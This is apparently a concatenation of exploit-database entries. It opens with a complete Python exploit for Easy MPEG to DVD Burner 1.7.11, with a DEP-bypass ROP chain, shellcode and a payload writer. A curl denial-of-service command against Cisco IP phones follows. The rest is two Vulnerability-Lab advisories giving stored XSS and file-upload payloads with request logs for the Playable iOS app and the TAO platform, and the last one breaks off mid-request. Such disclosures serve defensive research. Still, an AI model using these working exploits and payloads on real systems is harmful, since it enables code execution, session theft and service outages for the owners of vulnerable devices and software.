# Tested On: Windows 7 Ultimate x64
# Software Link: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe
# Version: 1.7.11
# Exploit Length: 1015 Bytes
# Steps : Open application > Register > In Username field paste content of pwn.txt file (Note open this in sublime or vscode)
# Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass using VirtualProtect() on Local Buffer Overflow
# Exploit used with Python2.7
#------------------------------------------------------------------------------------------------------------------------------------#
# Bad Characters: \x00\x0a\x0d #
# SEH Offset: 1012 #
# Modules Used: SkinMagic.dll & Easy MPEG to DVD Burner.exe #
#------------------------------------------------------------------------------------------------------------------------------------#
# Register setup for VirtualProtect() (Bypass DEP) :
#---------------------------------------------------
# EAX = Points to PUSHAD at time VirtualProtect() is called
# ECX = lpflOldProtect (0x10047d30 as writable location)
# EDX = flNewProtect(0x40)
# EBX = dwSize (0x92)
# ESP = lpAddress (automatic)
# EBP = ReturnTo (ptr to jmp esp)
# ESI = ptr to VirtualProtect()
# EDI = ROP NOP (RETN)
import struct
def create_rop_chain():
rop_gadgets = [
# Put 1 in EDX and decrement to 0
0x10031752, # XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN
0x1003629a, # ADD EAX,4 # DEC EDX # JNE SKINMAGIC!SETSKINMENU+0X2F505 (10036295) # POP ESI # RETN
0x11111111, # Filler
# Pop the pointer of VirtualProtect into EAX
0x10037b12, # POP EAX # RETN
0x1003b268, # ptr to &VirtualProtect() [IAT SkinMagic.dll]
# Dereference Pointer into EDX then move back to EAX
0x1001c011, # ADD EDX,DWORD PTR [EAX] # RETN 0x0C
0x10031772, # MOV EAX,EDX # RETN
0x11111111, # Filler
0x11111111, # Filler
0x11111111, # Filler
# Push VP and pop into EBP
0x1002e17b, # PUSH EAX # PUSH ESP # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x0C
0x10037b12, # POP EAX # RETN
0x11111111, # Filler
0x11111111, # Filler
0x11111111, # Filler
# Use this to get to address needed to Pop VP into ESI
0x1003619e, # POP EAX # POP ESI # RETN
# Move VP to +12 on stack then push the POP POP RETN
0x10032485, # MOV DWORD PTR [ESP+0CH],EBP # LEA EBP,DWORD PTR DS:[ESP+0CH] # PUSH EAX # RETN
0x11111111, # Filler popped
0x11111111, # Filler popped
# Set ESI to VP
0x1002e1ce, # POP ESI # RETN [SkinMagic.dll]
0x11111111, # Where VP is MOV into
# Set EBP with POP EBP RETN
0x1002894f, # POP EBP # RETN [SkinMagic.dll]
0x1002894f, # skip 4 bytes [SkinMagic.dll]
# Set EDX (# s -d 0x10000000 L?0x10050000 0000003f <- used to find 3F)
# Clear out EDX, set it to 0x01, find address where DWORD of EAX will be 0x3F, then add to EDX to be 0x40
0x10031752, # XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN
0x10037b12, # POP EAX # RETN
0x1005a0a0, # Address of 3F
0x10026173, # ADD EDX,DWORD PTR [EAX] # RETN
# Set EBX to 0x92 assuming EBX is 0, but could work with a decent range of numbers
# Note: This should be at least length of shellcode
0x100362c6, # XOR EAX,EAX # RETN
0x10033fb2, # ADD AL,0C9 # RETN
0x10033fb2, # ADD AL,0C9 # RETN
0x10035c12, # ADC BL,AL # OR CL,CL # JNE SKINMAGIC!SETSKINMENU+0X2EEDB (10035C6B) # RETN
# Set ECX to writable location
0x1003603f, # POP ECX # RETN [SkinMagic.dll]
0x10047d30, # &Writable location [SkinMagic.dll]
# Set EDI to ROP NOP
0x100395c2, # POP EDI # RETN [SkinMagic.dll]
0x10032982, # RETN (ROP NOP) [SkinMagic.dll]
# Do PUSHAD and be 1337
0x10037654, # POP EAX # RETN
0xa140acd2, # CONSTANT
0x100317c8, # ADD EAX,5EFFC883 # RETN
0x1003248d, # PUSH EAX # RETN
# Used to jump to ESP
0x1001cc57, # ptr to 'push esp # ret ' [SkinMagic.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
ropChain = create_rop_chain()
# CALC.EXE for POC
shell = ("\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72"
"\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F"
"\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24"
"\x01\xF9\x0F\xB7\x2C\x51\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45"
"\x75\xF1\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7")
# 148 Bytes needed to return to ROP CHAIN
paddingBeginning = "B"*148
# NOP Sled needs to be sufficient length, from some math, I came out with a buffer of 444 - len(ROP CHAIN)
nopLen = 444 - len(ropChain)
nopSled = '\x90'*nopLen
# Padding to SEH needs to consider the 420 bytes remaining - shellcode
paddingMiddleLen = 420 - len(shell)
paddingMiddle = 'B'*paddingMiddleLen
# 0x004043ee (add esp, 7D4) Stack Pivot 2004 bytes
# This brings total bytes to SEH Offset (1012) + 3 for a total of 1015 bytes
seh = "\xee\x43\x40"
# Exploit Visualization #
#------------------------#
# BBBBBBBBBBBBBBBBBBBB #
#------------------------#
# ROP CHAIN #
#------------------------#
# NOPS #
#------------------------#
# SHELL CODE #
#------------------------#
# BBBBBBBBBBBBBBBBBBBB #
#------------------------#
# SEH #
#------------------------#
exploit = paddingBeginning + ropChain + nopSled + shell + paddingMiddle + seh
file = open("pwn.txt", 'w')
file.write(exploit)
file.close()
# Title: Playable 9.18 iOS - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Software Link: https://apps.apple.com/de/app/playable-the-full-hd-media-player/id502405034
# CVE: N/A
Document Title:
===============
Playable v9.18 iOS - Multiple Web Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2198
Release Date:
=============
2020-04-16
Vulnerability Laboratory ID (VL-ID):
====================================
2198
Common Vulnerability Scoring System:
====================================
7.3
Vulnerability Class:
====================
Multiple
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Watch your MKV, MP4 and MOV movie files on your iPad, iPhone or iPod
Touch without conversion -
just copy files to your device through iTunes or over Wifi! To search
for closed captions /
subtitles select a video then press the magnifying glass icon to the top
right of the video.
(Copy of the Homepage:
https://apps.apple.com/de/app/playable-the-full-hd-media-player/id502405034
)
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
vulnerabilities in the official Playable v9.18 apple ios mobile application.
Affected Product(s):
====================
Portable Ltd
Product: Playable v9.18 - iOS Mobile Web Application
Vulnerability Disclosure Timeline:
==================================
2020-04-16: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Authentication Type:
====================
Pre auth - no privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
1.1
A persistent script code injection web vulnerability has been discovered
in the official Playable v9.18 apple ios mobile application.
The vulnerability allows remote attackers to inject own malicious
persistent script codes to the application-side for manipulation.
The vulnerability is located in the filename parameter of the upload
module. Attackers with wifi access are able to perform uploads
with malicious script code to manipulation the mobile application ui.
The request method to inject is POST and the attack vector of
the vulnerability is persistent. Attackers are able to inject html and
javascript codes to comrpomise the mobile wifi web-application.
The injection point is the upload form on localhost:8881 and the
execution occurs on localhost:80 with the visible ui listing.
Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected mobile
application modules.
Request Method(s):
[+] POST
Vulnerable Function(s):
[+] upload
Vulnerable Parameter(s):
[+] filename
1.2
An arbitrary file upload web vulnerability has been discovered in the
official Playable v9.18 apple ios mobile application.
The arbitary file upload vulnerability allows remote attackers to upload
malicious files to compromise the mobile application.
The vulnerability is located in the filename parameter of the upload
module. Attackers with wifi access are able to perform
uploads with malicious file extions to bypass the parse function. In a
second step the attacker requests the local file to
execute the malicious content on the local web-server. The request
method to inject is POST and the attack vector of the
vulnerability is located on the application-side. The injection point is
the upload form on localhost:8881. The execution
point becomes visible by a request the localhost:80/vid/[filename] path
with the uploaded file content. The is present
because of a missing file parse and insecure upload handling on file
extensions. As well the local web-server can be
reconfigured to provide more security on user interactions.
Successful exploitation of the arbitrary file upload vulnerability
results in a compromise of the local ios mobile application.
Request Method(s):
[+] POST
Vulnerable Function(s):
[+] upload
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] /vid/
Proof of Concept (PoC):
=======================
1.1
The persistent script code injection vulnerability can be exploited by
remote attackers with wifi network access without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Install the ios application
(https://apps.apple.com/us/app/playable-the-full-hd-media-player/id502405034)
2. Start the ios application on your local ios device
3. Start the wifi share service in the application ui
4. Open the web-browser
5. Tamper the http requests
6. Prepare to upload any file and press the upload button
7. Inject as filename any html/js script code payload
8. Continue to transmit the POST method request
9. The file executes on the index listing on port 8881
(http://localhost:8881/index.html)
10. Successful reproduce of the persistent script code injection web
vulnerability!
PoC: Exploitation
>"<iframe src=evil.source onload=alert(document.domain)>.jpg
--- PoC Session logs [POST] ---
Status: 200[OK]
POST http://localhost:8881/upload
Mime Type[text/html]
Request Header:
Host[localhost:8881]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8881/index.html]
Content-Length[8559]
Content-Type[multipart/form-data;
boundary=---------------------------3823323145734]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------3823323145734
Content-Disposition: form-data; name="file"; filename=">"<iframe
src=evil.source onload=alert(document.domain)>.jpg"
-
Status: 200[OK]
GET http://localhost/evil.source
Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost/evil.source]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Cache-Control[max-age=0]
Response Header:
Accept-Ranges[bytes]
Content-Length[8559]
1.2
the arbitrary file upload vulnerability can be exploited by local
attackers with wifi network access without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Install the ios application
(https://apps.apple.com/us/app/playable-the-full-hd-media-player/id502405034)
2. Start the ios application on your local ios device
3. Start the wifi share service in the application ui
4. Open the web-browser
5. Tamper the http requests
6. Prepare a js file with malicious test content
7. Extend the file name with .jpg
Note: The upload mechanism does not parse or checks for multiple
extensions on file uploads
8. Upload the file by pushing the Upload File button
9. Open the url in the default /vid/ folder and remove the .jpg extension
10. The simple js executes in the scripting engine when opening
11. Successful reproduce of the arbitrary file upload vulnerability!
Note: Using the ftp you can perform to create the file via console
ftp://localhost (read/write permissions)
PoC: Exploitation
http://localhost/vid/clay.js.jpg
--- PoC Session logs [POST] ---
Status: 200[OK]
POST http://localhost:8881/upload
Mime Type[text/html]
Request Header:
Host[localhost:8881]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8881/index.html]
Content-Length[86856]
Content-Type[multipart/form-data;
boundary=---------------------------3823323145733]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------3823323145733
Content-Disposition: form-data; name="file"; filename="clay.js.jpg"
-
Status: 200[OK]
GET http://localhost/listVideosJson
Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[87]
-
Status: 200[OK]
GET http://localhost/vid/clay.js.jpg
Mime Type[application/iosjpg]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost/]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Accept-Ranges[bytes]
Content-Length[86670]
Content-Type[application/iosjpg;]
-
Status: 200[OK]
GET http://localhost/vid/clay.js
Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Accept-Ranges[bytes]
Content-Length[0]
Solution - Fix & Patch:
=======================
1.1
The vulnerability can be resolved by a restriction and parse of the
filename parameter. Disallow special chars and restrict inputs.
Encode also the output locations to ensure nobody is able to execute
script code in the main file listing.
1.2
Parse the filename for multiple extensions and prevent that attackers
open specific dangerous file extensions that could
compromise the local application path.
Security Risk:
==============
1.1
The security risk of the script code injection web vulnerability in the
mobile ios application is estimated as high.
1.2
The security risk of the arbitrary file upload vulnerability in the
mobile ios application is estimated as high.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
# Exploit Title: Cisco IP Phone 11.7 - Denial of Service (PoC)
# Date: 2020-04-15
# Exploit Author: Jacob Baines
# Vendor Homepage: https://www.cisco.com
# Software Link: https://www.cisco.com/c/en/us/products/collaboration-endpoints/ip-phones/index.html
# Version: Before 11.7(1)
# Tested on: Cisco Wireless IP Phone 8821
# CVE: CVE-2020-3161
# Cisco Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-voip-phones-rce-dos-rB6EeRXs
# Researcher Advisory: https://www.tenable.com/security/research/tra-2020-24
curl -v --path-as-is --insecure
https://phone_address/deviceconfig/setActivationCode?params=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
# Title: TAO Open Source Assessment Platform 3.3.0 RC02 - HTML Injection
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Vendor: https://www.taotesting.com
# Software Link: https://www.taotesting.com/product/
# CVE: N/A
Document Title:
===============
TAO Open Source Assessment Platform v3.3.0 RC02 - Multiple Web
Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2215
Release Date:
=============
2020-04-16
Vulnerability Laboratory ID (VL-ID):
====================================
2215
Common Vulnerability Scoring System:
====================================
4
Vulnerability Class:
====================
Multiple
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Accelerating innovation in digital assessment. The TAO assessment
platform gives you the freedom, control, and
support to evolve with today's learners. For organizations who want the
freedom to control their assessment
software – from authoring to delivery to reporting.
(Copy of the Homepage: https://www.taotesting.com/product/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
cross site vulnerabilities in the TAO Open Source Assessment Platform
v3.3.0 RC02.
Affected Product(s):
====================
Product: TAO Open Source Assessment Platform v3.3.0 RC02
Vulnerability Disclosure Timeline:
==================================
2020-04-16: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
1.1
A html injection web vulnerability has been discovered in the TAO Open
Source Assessment Platform v3.3.0 RC02 web-application.
The vulnerability allows remote attackers to inject own malicious html
codes with persistent attack vector to compromise browser
to web-application requests from the application-side.
The html inject web vulnerability is located in the `userFirstName`,
`userLastName`, `userMail`, `password2`, and `password3`
parameters of the user account input field. The request method to inject
is POST and the attack vector is application-side.
Remote attackers are able to inject html code for the user account
credentials to provoke an execution within the main manage
user listing.
Successful exploitation of the web vulnerability results in persistent
phishing attacks, persistent external redirects to malicious
source and persistent manipulation of affected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Manage Users
Vulnerable Parameter(s):
[+] userFirstName
[+] userLastName
[+] userMail
[+] password2
[+] password3
1.2
Multiple persistent cross site web vulnerabilities has been discovered
in the TAO Open Source Assessment Platform v3.3.0 RC02.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.
The persistent vulnerability is located in the content parameter of the
Rubric Block (Add) module. Attackers are able to inject own malicious
script code inside of the rubric name value. The attached values will be
redisplayed in the frontend of tao. The request method to inject is
POST and the attack vector is located on the application-side. The
injection point is the Rubric Block (Add) module and the execution occurs
in the frontend panel when listing the item attribute.
Successful exploitation of the web vulnerability results in session
hijacking, persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected or connected
application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Rubric Block (Add)
Vulnerable Parameter(s):
[+] content
Proof of Concept (PoC):
=======================
1.1
The persistent html injection web vulnerability can be exploited by
remote attackers with privileged user account and low user interaction.
For security demonstration or to reproduce the security web
vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Install the application and open the ui
2. Move on top right to the user button and click manage users
3. Inject html script code payload into the vulnerable input fields
4. Save the entry
5. Open to the manage users listing
Note: The payloads executes in the table that shows the user account
values for admins
6. Successful reproduce of the html inject vulnerability!
PoC: Vulnerable Source (Manage Users)
<th class="actions">Actions</th>
</tr></thead>
<tbody>
<tr data-item-identifier="http_2_localhost_1_tao_0_rdf_3_i1586957152301539">
<td class="login"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="firstname"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="lastname"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="email"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="roles">Test Taker</td>
<td class="guiLg">German</td>
<td class="status"><span class="icon-result-ok"></span> enabled</td>
--- PoC Session Logs (POST) ---
http://localhost:89/tao/Users/edit
Host: localhost:89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)
Gecko/20100101 Firefox/74.0
Accept: text/html, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1393
Origin: http://localhost:89
Connection: keep-alive
Referer:
http://localhost:89/tao/Main/index?structure=users&ext=tao§ion=edit_user
Cookie: tao_GP8CPowQ=d6et7oifjip9jnkbc7pgeotsdj;
tao_0855799=e0a3289004cc96a4ffba7bdcb8515d3665ccd004
user_form_sent=1&tao.forms.instance=1&token=e0a3289004cc96a4ffba7bdcb8515d3665ccd004&http_2_www_0_w3_0_org_1_2000_1_01_1_
rdf-schema_3_label=<img
src="https://www.evolution-sec.com/evosec-logo.png">&id=http://localhost/tao.rdf#i1586957152301539
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName=<img
src="https://www.evolution-sec.com/evosec-logo.png">
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName=<img
src="https://www.evolution-sec.com/evosec-logo.png">
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail=<img
src="https://www.evolution-sec.com/evosec-logo.png">&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langca&
http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_9=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_DeliveryRole&
classUri=http_2_www_0_tao_0_lu_1_Ontologies_1_TAOSubject_0_rdf_3_Subject&uri=http_2_localhost_1_tao_0_rdf_3_i1586957152301539
&password2=<img src="https://www.evolution-sec.com/evosec-logo.png">
&password3=<img src="https://www.evolution-sec.com/evosec-logo.png">
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Win32) PHP/7.2.15
X-Powered-By: PHP/7.2.15
Set-Cookie: tao_0855799=a4dd4f04e0f27648dcd6ee3e966cdb380d511079; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Reference(s):
http://localhost:89/tao/Users/edit
http://localhost:89/tao/Main/index
1.2
The persistent cross site scripting web vulnerability can be exploited
by remote attackers with privileged user account with low user interaction.
For security demonstration or to reproduce the cross site scripting web
vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open and login to the tao application
2. Move into the test module on top
3. Add new Rubric Block
4. Inject script code test payload into the text label content input field
5. Save the entry and move on the right site to activate
6. The click on activate includes and executes the content immediatly
7. Succesful reproduce of the cross site scripting vulnerability!
PoC: Vulnerable Source
<div class="rubricblock-content"><div>asd>"><span
data-serial="img_l9lmylhuv8hf55xo9z264n"
class="widget-box widget-inline widget-img" data-qti-class="img"
contenteditable="false">
<img data-serial="img_l9lmylhuv8hf55xo9z264n" data-qti-class="img"
src="" alt="" style=""
width="100%"></span> <img data-serial="img_rxephz0lwthtejgsndo2f3"
data-qti-class="img" src="evil.source" alt="" style="">
>"<script>alert(document.cookie)></script></div></iframe></div></div>
</li></ol>
PoC: Payload
"<script>alert(document.cookie)></script>
--- PoC Session Logs [POST] ---
http://localhost:89/taoQtiTest/Creator/saveTest?uri=http%3A%2F%2Flocalhost%2Ftao.rdf%23i1586971961942612
Host: localhost:89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 9664
Origin: http://localhost:89
Connection: keep-alive
Referer:
http://localhost:89/tao/Main/index?structure=tests&ext=taoTests§ion=authoring
Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb;
tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042
model={"qti-type":"assessmentTest","identifier":"Test-1","title":"QTI
Example Test","toolName":"tao","toolVersion":"2.7","outcomeDeclarations":[],
